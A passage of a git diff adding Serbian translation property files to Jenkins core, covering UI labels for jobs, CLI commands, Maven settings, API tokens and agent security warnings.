JDK-\u043E\u0432\u0435? +Hudson.NoName=\u0418\u043C\u0435 \u043D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u043E +Hudson.NodeBeingRemoved=\u0423\u043A\u043B\u0430\u045A\u0430\u045A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 +Hudson.UnsafeChar=\u041E\u043F\u0430\u0441\u043D\u043E \u0458\u0435 \u043A\u043E\u0440\u0438\u0441\u0438\u0442\u0438 \u0437\u043D\u0430\u043A\u043E\u0432\u0435 \u043A\u0430\u043E ''{0}'' +Hudson.JobNameConventionNotApplyed=\u2018{0}\u2019 \u043D\u0435 \u043E\u0434\u0433\u043E\u0432\u0430\u0440\u0430 \u0448\u0430\u0431\u043B\u043E\u043D\u0443 \u0437\u0430 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 {1} +Hudson.ViewAlreadyExists=\u041F\u0440\u0435\u0433\u043B\u0435\u0434 \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 +Hudson.JobAlreadyExists=\u0417\u0430\u0434\u0430\u0442\u0430\u043A \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C \u2018{0}\u2019 \u0432\u0435\u045B \u043F\u043E\u0441\u0442\u043E\u0458\u0438 +Hudson.ViewName=\u0421\u0432\u0435 +Hudson.NotUsesUTF8ToDecodeURL=\u0412\u0430\u0448 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440 \u043D\u0435 \u043A\u043E\u0440\u0438\u0441\u0442 UTF-8 \u0437\u0430 \u0434\u0435\u043A\u043E\u0434\u0438\u0440\u0430\u045A\u0435 URL-\u0430\u0434\u0440\u0435\u0441\u0435. \u0410\u043A\u043E \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 \u043A\u0430\u0440\u0430\u043A\u0442\u0435\u0440\u0435 \u0432\u0430\u043D ASCII \u043D\u0438\u0437\u0430 \u0443 \u0438\u043C\u0435\u043D\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430, \u0438\u0442\u0434, \u043C\u043E\u0436\u0435 \u0438\u0437\u0430\u0437\u0432\u0430\u0442\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0435. \u041E\u0442\u0438\u0452\u0438 \u0442\u0435 \u043D\u0430 \u041A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438 \u0438 \ + Tomcat i18n \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. +Hudson.NodeDescription=\u0433\u043B\u0430\u0432\u043D\u0430 Jenkins \u043C\u0430\u0448\u0438\u043D\u0430 +Hudson.NoParamsSpecified=\u041D\u0438\u0441\u0443 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0438 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438 \u0437\u0430 \u043E\u0432\u0430\u0458 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u0437\u043E\u0432\u0430\u043D\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +CLI.restart.shortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins +CLI.safe-restart.shortDescription=\u0411\u0435\u0437\u0432\u0435\u0434\u043D\u043E \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438 Jenkins-\u0430 +CLI.keep-build.shortDescription=\u0417\u0430\u0434\u0440\u0436\u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0437\u0430\u0443\u0432\u0435\u043A +CauseOfInterruption.ShortDescription=\u041E\u0434\u0443\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 {0} +CLI.shutdown.shortDescription=\u041E\u0434\u043C\u0430\u0445 \u0437\u0430\u0443\u0441\u0442\u0430\u0432\u0438 Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 +DefaultProjectNamingStrategy.DisplayName=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u043E +CLI.safe-shutdown.shortDescription=\ +\u041F\u0440\u0435\u0431\u0430\u0446\u0438 Jenkins \u0443 \u0442\u0438\u0445\u0438 \u0440\u0435\u0436\u0438\u043C, \u0447\u0435\u043A\u0430\u045B\u0435 \u0437\u0430\u0432\u0440\u0448\u045A\u0435\u0442\u0430\u043A \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \u0430 \u043E\u043D\u0434\u0430 \u045B\u0435 \u0443\u0433\u0430\u0441\u0438\u0442\u0438 Jenkins. +IdStrategy.CaseInsensitive.DisplayName=\u0411\u0435\u0437 \u0440\u0430\u0437\u043B\u0438\u043A\u0435 \u0438\u0437\u043C\u0435\u045B\u0443 \u0432\u0435\u043B\u0438\u043A\u0438\u043C \u0438 \u043C\u0430\u043B\u0438\u043C \u0441\u043B\u043E\u0432\u0438\u043C\u0430 +IdStrategy.CaseSensitive.DisplayName=\u0421\u0430 \u0440\u0430\u0437\u043B\u0438\u043A\u043E\u043C \u0438\u0437\u043C\u0435\u045B\u0443 \u0432\u0435\u043B\u0438\u043A\u0438\u043C \u0438 \u043C\u0430\u043B\u0438\u043C \u0441\u043B\u043E\u0432\u0438\u043C\u0430 +IdStrategy.CaseSensitiveEmailAddress.DisplayName=\u0421\u0430 \u0440\u0430\u0437\u043B\u0438\u043A\u043E\u043C \u0438\u0437\u043C\u0435\u045B\u0443 \u0432\u0435\u043B\u0438\u043A\u0438\u043C \u0438 \u043C\u0430\u043B\u0438\u043C \u0441\u043B\u043E\u0432\u0438\u043C\u0430 (\u0430\u0434\u0440\u0435\u0441\u0430 \u0435-\u043F\u043E\u0448\u0442\u0435) +Mailer.Address.Not.Configured=\u0430\u0434\u0440\u0435\u0441\u0430 \u043D\u0438\u0458\u0435 \u0458\u043E\u0448 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0430 +Mailer.Localhost.Error=\u041D\u0430\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043E \u0438\u043C\u0435 \u0437\u0430 \u0445\u043E\u0441\u0442, \u0430 \u043D\u0435 "localhost" +PatternProjectNamingStrategy.DisplayName=\u0428\u0430\u0431\u043B\u043E\u043D +PatternProjectNamingStrategy.NamePatternRequired=\u041D\u0430\u0432\u0435\u0434\u0438\u0442\u0435 \u0448\u0430\u0431\u043B\u043E\u043D \u0438\u043C\u0435\u043D\u0443 +PatternProjectNamingStrategy.NamePatternInvalidSyntax=\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u0430\u043D \u0440\u0435\u0433\u0443\u043B\u0430\u0440\u043D\u0438 \u0438\u0437\u0440\u0430\u0437 +ParameterizedJobMixIn.build_with_parameters=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u0441\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u043C\u0430 +ParameterizedJobMixIn.build_now=\u0418\u0437\u0433\u0440\u0430\u0434\u0438 \u0441\u0430\u0434\u0430 +BlockedBecauseOfBuildInProgress.shortDescription=\u0418\u0437\u0433\u0440\u0430\u0434\u045A\u0430 #{0} \u0458\u0435 \u0432\u0435\u045B \u0443 \u0442\u043E\u043A\u0443 {1} +BlockedBecauseOfBuildInProgress.ETA=\ (\u043E\u0441\u0442\u0430\u043B\u043E:{0}) +BuildDiscarderProperty.displayName=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 \u0441\u0442\u0430\u0440\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +Din= +vil= \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/ProjectNamingStrategy/PatternProjectNamingStrategy/config_sr.properties b/core/src/main/resources/jenkins/model/ProjectNamingStrategy/PatternProjectNamingStrategy/config_sr.properties new file mode 100644 index 0000000000..20c36676bd --- /dev/null +++ b/core/src/main/resources/jenkins/model/ProjectNamingStrategy/PatternProjectNamingStrategy/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +namePattern=\u0428\u0430\u0431\u043B\u043E\u043D \u0438\u043C\u0435\u043D\u0430 +description=\u041E\u043F\u0438\u0441 +forceExistingJobs=\u0444\u043E\u0440\u0441\u0438\u0440\u0430\u0458 \u043F\u043E\u0441\u0442\u043E\u0458\u0435\u045B\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index_sr.properties b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index_sr.properties new file mode 100644 index 0000000000..54c6d65648 --- /dev/null +++ b/core/src/main/resources/jenkins/model/RunIdMigrator/UnmigrationInstruction/index_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Copied=\u0418\u0441\u043A\u043E\u043F\u0438\u0440\u0430\u043D\u043E diff --git a/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index_sr.properties b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index_sr.properties new file mode 100644 index 0000000000..58733a6ee4 --- /dev/null +++ b/core/src/main/resources/jenkins/model/identity/IdentityRootAction/index_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Instance\ Identity=\u0418\u0434\u0435\u043D\u0442\u0438\u0442\u0435\u0442 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0435 +blurb=\u0421\u0432\u0430\u043A\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 Jenkins-\u0430 \u0438\u043C\u0430 \u043F\u0430\u0440 \u043E\u0434 \u0458\u0430\u0432\u043D\u0435 \u0438 \u043F\u0440\u0438\u0432\u0430\u0442\u043D\u0435 \u043A\u0459\u0443\u0447\u0435\u0432\u0435 \u043A\u043E\u0458\u0435 \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0443\u0458\u0443 \u0442\u0443 \u043C\u0430\u0448\u0438\u043D\u0443. \ + \u0408\u0430\u0432\u043D\u0438 \u043A\u0459\u0443\u0447 \u0441\u0435 \u043F\u0440\u0438\u043A\u0430\u0437\u0443\u0458\u0435 X-Instance-Identity header \u043D\u0430 \u0432\u0435\u0431-\u0437\u0430\u0445\u0442\u0435\u0432\u0438\u043C\u0430 \u043F\u0440\u0435\u043C\u0430 Jenkins UI.\ + \u041C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0441\u0442\u043E \u043D\u0430\u045B\u0438 \u043A\u0459\u0443\u0447 \u0438 \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u0430\u043D \u043E\u0442\u0438\u0441\u0430\u043A \u043A\u0459\u0443\u0447\u0430 \u043D\u0430 \u043E\u0432\u043E\u0458 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438. +Public\ Key=\u0408\u0430\u0432\u043D\u0438 \u043A\u0459\u0443\u0447 +Fingerprint=\u0414\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u0438 \u043E\u0442\u0438\u0441\u0430\u043A diff --git a/core/src/main/resources/jenkins/model/item_category/Messages_sr.properties b/core/src/main/resources/jenkins/model/item_category/Messages_sr.properties new file mode 100644 index 0000000000..78be22c978 --- /dev/null +++ b/core/src/main/resources/jenkins/model/item_category/Messages_sr.properties @@ -0,0 +1,8 @@ +# This file is under the MIT License by authors + +Uncategorized.DisplayName=\u041D\u0435\u043A\u0430\u0442\u0435\u0433\u043E\u0440\u0438\u0441\u0430\u043D\u043E +Uncategorized.Description=\u0412\u0440\u0441\u0442\u0435 \u0441\u0442\u0430\u0432\u043A\u0430 \u043A\u043E\u0458\u0435 \u043D\u0438\u0441\u0443 \u043A\u0430\u0442\u0435\u0433\u043E\u0440\u0438\u0441\u0430\u043D\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0435 \u043E\u0434\u0440\u0436\u0438\u0432\u0430\u0447\u0430 \u043C\u043E\u0434\u0443\u043B\u0435. +StandaloneProjects.DisplayName=\u0421\u0430\u043C\u043E\u0441\u0442\u0430\u043B\u043D\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 +StandaloneProjects.Description=\u041A\u0440\u0435\u0438\u0440\u0430\u0458\u0442\u0435 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0435 \u0441\u0430 \u0441\u0430\u043C\u043E\u0441\u0442\u0430\u043B\u043D\u0438\u043C \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0430\u043C\u0430 \u0438 \u0438\u0441\u0442\u043E\u0440\u0438\u0458\u043E\u043C. \u041E\u0432\u0430\u043A\u0432\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u043D\u0430 \u043D\u0430\u0458\u0432\u0438\u0448\u0435\u043C \u043D\u0438\u0432\u043E\u0443 \u0438\u043B\u0438 \u0433\u0440\u0443\u043F\u0438\u0441\u0430\u043D\u0438 \u0444\u043E\u043B\u0434\u0435\u0440\u0438\u043C\u0430. +NestedProjects.DisplayName=\u041F\u043E\u0434\u0440\u0435\u0452\u0435\u043D\u0438 \u043F\u0440\u043E\u0458\u0435\u043A\u0442\u0438 +NestedProjects.Description=\u041A\u0440\u0435\u0438\u0440\u0430\u0458\u0442\u0435 \u043A\u0430\u0442\u0435\u0433\u043E\u0440\u0438\u0458\u0435 \u0438\u043B\u0438 \u0445\u0438\u0435\u0440\u0430\u0440\u0445\u0438\u0458\u0435 \u043F\u043E\u043C\u043E\u045B\u0443 \u0444\u043E\u043B\u0434\u0435\u0440\u0438\u043C\u0430, \u043A\u043E\u0458\u0438 \u043C\u043E\u0433\u0443 \u0431\u0438\u0442\u0438 \u0440\u0443\u0447\u043D\u043E \u0438\u043B\u0438 \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u043A\u0440\u0435\u0438\u0440\u0430\u043D\u0438 \u043F\u0440\u0435\u043C\u0430 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0438\u043C. diff --git a/core/src/main/resources/jenkins/mvn/FilePathGlobalSettingsProvider/config_sr.properties b/core/src/main/resources/jenkins/mvn/FilePathGlobalSettingsProvider/config_sr.properties new file mode 100644 index 0000000000..79580f19b1 --- /dev/null +++ b/core/src/main/resources/jenkins/mvn/FilePathGlobalSettingsProvider/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +File\ path=\u041F\u0443\u0442 \u0434\u043E \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 diff --git a/core/src/main/resources/jenkins/mvn/FilePathSettingsProvider/config_sr.properties b/core/src/main/resources/jenkins/mvn/FilePathSettingsProvider/config_sr.properties new file mode 100644 index 0000000000..79580f19b1 --- /dev/null +++ b/core/src/main/resources/jenkins/mvn/FilePathSettingsProvider/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +File\ path=\u041F\u0443\u0442 \u0434\u043E \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 diff --git a/core/src/main/resources/jenkins/mvn/GlobalMavenConfig/config_sr.properties b/core/src/main/resources/jenkins/mvn/GlobalMavenConfig/config_sr.properties new file mode 100644 index 0000000000..5688142032 --- /dev/null +++ b/core/src/main/resources/jenkins/mvn/GlobalMavenConfig/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Maven\ Configuration=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 Maven +Default\ settings\ provider=\u041F\u0440\u043E\u0432\u0430\u0458\u0434\u0435\u0440 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438\u0445 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0438\u043C\u0430 +Default\ global\ settings\ provider=\u041F\u0440\u043E\u0432\u0430\u0458\u0434\u0435\u0440 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438\u0445 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0438\u043C \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0438\u043C\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/mvn/Messages_sr.properties b/core/src/main/resources/jenkins/mvn/Messages_sr.properties new file mode 100644 index 0000000000..20d33fc668 --- /dev/null +++ b/core/src/main/resources/jenkins/mvn/Messages_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +DefaultSettingsProvider.DisplayName=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0430 maven \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +DefaultGlobalSettingsProvider.DisplayName=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0430 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0430 maven \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 +FilePathGlobalSettingsProvider.DisplayName=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u0433\u043B\u043E\u0431\u0430\u043B\u043D\u0438\u043C \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430 +FilePathSettingsProvider.DisplayName=\u0414\u0430\u0442\u043E\u0442\u0435\u043A\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430 diff --git a/core/src/main/resources/jenkins/security/ApiTokenProperty/config_sr.properties b/core/src/main/resources/jenkins/security/ApiTokenProperty/config_sr.properties new file mode 100644 index 0000000000..e7ad742d80 --- /dev/null +++ b/core/src/main/resources/jenkins/security/ApiTokenProperty/config_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Show\ API\ Token=\u041F\u0440\u0438\u043A\u0430\u0436\u0438 \u0410\u041F\u0418 \u0422\u043E\u043A\u0435\u043D +API\ Token=\u0410\u041F\u0418 \u0422\u043E\u043A\u0435\u043D +Change\ API\ Token=\u0423\u0440\u0435\u0434\u0438 \u0410\u041F\u0418 \u0422\u043E\u043A\u0435\u043D diff --git a/core/src/main/resources/jenkins/security/Messages_sr.properties b/core/src/main/resources/jenkins/security/Messages_sr.properties new file mode 100644 index 0000000000..5e74fc20dd --- /dev/null +++ b/core/src/main/resources/jenkins/security/Messages_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +ApiTokenProperty.DisplayName=\u0422\u043E\u043A\u0435\u043D \u0437\u0430 \u0410\u041F\u0418 +ApiTokenProperty.ChangeToken.TokenIsHidden=\u0422\u043E\u043A\u0435\u043D \u0458\u0435 \u0441\u0430\u043A\u0440\u0438\u0432\u0435\u043D +ApiTokenProperty.ChangeToken.Success=
                    \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u043E. \u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u043D\u043E\u0432\u0438 \u0442\u043E\u043A\u0435\u043D \u043F\u0440\u0438\u043A\u0430\u0437\u0430\u043D \u0438\u0437\u043D\u0430\u0434.
                    +ApiTokenProperty.ChangeToken.SuccessHidden=
                    \u0410\u0436\u0443\u0440\u0438\u0440\u0430\u043D\u043E. \u041C\u043E\u0440\u0430\u0442\u0435 \u0441\u0435 \u043F\u0440\u0438\u0458\u0430\u0432\u0438\u0442\u0438 \u043A\u0430\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0438 \u0442\u043E\u043A\u0435\u043D.
                    +RekeySecretAdminMonitor.DisplayName=\u041F\u043E\u043D\u043E\u0432\u043E \u0445\u0435\u0448\u0438\u0440\u0430\u045A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties new file mode 100644 index 0000000000..90928beebd --- /dev/null +++ b/core/src/main/resources/jenkins/security/RekeySecretAdminMonitor/message_sr.properties @@ -0,0 +1,19 @@ +# This file is under the MIT License by authors + +pleaseRekeyAsap=\ + \u0417\u0431\u043E\u0433 \u043E\u0442\u0440\u0438\u0432\u0435\u043D\u0435 \u0440\u0430\u045A\u0438\u0432\u043E\u0441\u0442\u0438, \u043C\u043E\u0440\u0430\u043C\u043E \ + \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0438 \u043A\u0459\u0443\u0447 \u0437\u0430 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 \u0442\u0430\u0458\u043D\u0438 \u0434\u0430 \u0434\u0438\u0441\u043A\u0443. \ + \u0422\u0430\u0458 \u043F\u0440\u043E\u0446\u0435\u0441 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438 \u0432\u0435\u043B\u0438\u043A\u0438 \u0434\u0435\u043E \u0432\u0430\u0448\u0435\u0433 $JENKINS_HOME ({0}) \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C\u0430, \ + \u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0447\u0443\u043D\u0430 \u0445\u0435\u0448 \u0437\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435\u043D\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435, \u0448\u0442\u043E \u043C\u043E\u0436\u0435 \u043F\u0440\u0438\u043B\u0438\u0447\u043D\u043E \u0434\u0443\u0433\u043E \u0442\u0440\u0430\u0458\u0430\u0442\u0438. \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u043E\u0432\u0430\u0458 \u0434\u043E\u043A\u0443\u043C\u0435\u043D\u0442 \u0433\u0434\u0435 \u0441\u0435 \u043F\u0438\u0448\u0435 \u043E \u0432\u0438\u0448\u0435 \u0438\u043C\u043F\u043B\u0438\u043A\u0430\u0446\u0438\u0458\u0430 \u0438 \u0434\u0440\u0443\u0433\u0430\u0447\u0438\u0458\u0435 \u043D\u0430\u0447\u0438\u043D\u0435 \ + \u041E\u0432\u0430 \u043E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0430 \u0441\u0435 \u043C\u043E\u0436\u0435 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0443 \u043F\u043E\u0437\u0430\u0434\u0438\u043D\u0438, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043E\u0431\u0430\u0437\u0440\u0438\u0432\u0438 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0446\u0438 \ + \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u043D\u0430\u043F\u0440\u0430\u0432\u0438\u0442\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043D\u0435 \u043A\u043E\u043F\u0438\u0458\u0435 \u043F\u043E\u0434\u0430\u0446\u0438\u043C\u0430. + +rekeyInProgress=\u041F\u043E\u043D\u043E\u0432\u043E \u0445\u0435\u0448\u0438\u0440\u0430\u045A\u0435 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443. \u041C\u043E\u0436\u0435\u0442\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0438 \u0436\u0443\u0440\u043D\u0430\u043B. + +rekeySuccessful=\ + Secrets in your $JENKINS_HOME \u0458\u0435 \u0443\u0441\u043F\u0435\u0448\u043D\u043E \u0438\u0437\u0445\u0435\u0448\u0438\u0440\u0430\u043D\u043E. \ + \u041C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B, \u043F\u043E\u0442\u0432\u0440\u0434\u0438\u0442\u0435, \u0438 \u043D\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0438\u043B\u0438 \u043F\u043E\u043D\u043E\u0432\u043E \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0435. + +rekeyHadProblems=\ + \u041F\u043E\u043D\u043E\u0432\u043E \u0445\u0435\u0448\u0438\u0440\u0430\u045A\u0435 \u0458\u0435 \u0433\u043E\u0442\u043E\u0432\u043E, \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u0431\u0438\u043B\u043E \u0458\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430. \u041C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B. \ No newline at end of file diff --git a/core/src/main/resources/jenkins/security/s2m/AdminCallableMonitor/message_sr.properties b/core/src/main/resources/jenkins/security/s2m/AdminCallableMonitor/message_sr.properties new file mode 100644 index 0000000000..e2deed27ee --- /dev/null +++ b/core/src/main/resources/jenkins/security/s2m/AdminCallableMonitor/message_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Examine=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458 +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +blurb=Jenkins \u0458\u0435 \u043E\u0434\u0431\u0438\u0458\u043E \u043D\u0435\u043A\u0435 \u0430\u0433\u0435\u043D\u0442\u043E\u0432\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435, \u0437\u0430\u0448\u0442\u043E \u043D\u0438\u0458\u0435 \u0458\u0430\u0441\u043D\u043E \u0430\u043A\u043E \u0458\u0435 \u0434\u043E\u0437\u0432\u043E\u0459\u0435\u043D\u043E \u0430\u0433\u0435\u043D\u0442\u0438\u043C\u0430, \ + \u043C\u0435\u0452\u0443\u0442\u0438\u043C \u043E\u0432\u0430 \u043E\u043F\u0435\u0440\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0432\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u043B\u0430 \u043D\u0435\u043A\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. \u0420\u0430\u0437\u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0430\u043A\u043E \u0431\u0438 \u043C\u043E\u0433\u043E \u0434\u043E\u0437\u0432\u043E\u043B\u0438\u0442\u0438 \u0430\u0433\u0435\u043D\u0442\u0438\u043C\u0430. diff --git a/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index_sr.properties b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index_sr.properties new file mode 100644 index 0000000000..605e8f9eda --- /dev/null +++ b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Whitelist= +Agent\ \u2192\ Master\ Access\ Control= +Update=\u0410\u0436\u0443\u0440\u0438\u0440\u0430\u0458 diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties new file mode 100644 index 0000000000..f92800a9ed --- /dev/null +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Examine= +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +blurb=\u0421\u0438\u0441\u0442\u0435\u043C \u043E\u0431\u0435\u0437\u0431\u0435\u0436\u0438\u0432\u0430\u045A\u0430 \u0432\u0435\u0437\u043E\u043C \u0438\u0437\u043C\u0435\u0452\u0443 \u0430\u0433\u0435\u043D\u0442\u0430 \u0438 \u043C\u0430\u0441\u0442\u0435\u0440\u0430 \u0458\u0435 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D. \ + \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0434\u043E\u043A\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0435 \u0430\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties new file mode 100644 index 0000000000..040bfa0465 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Accepts\ connections\ from\ remote\ clients\ so\ that\ they\ can\ be\ used\ as\ additional\ build\ agents=\u041F\u0440\u0438\u0445\u0432\u0430\u0442\u0430 \u0432\u0435\u0437\u0435 \u043E\u0434 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0438\u043C\u0430 \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u0441\u0435 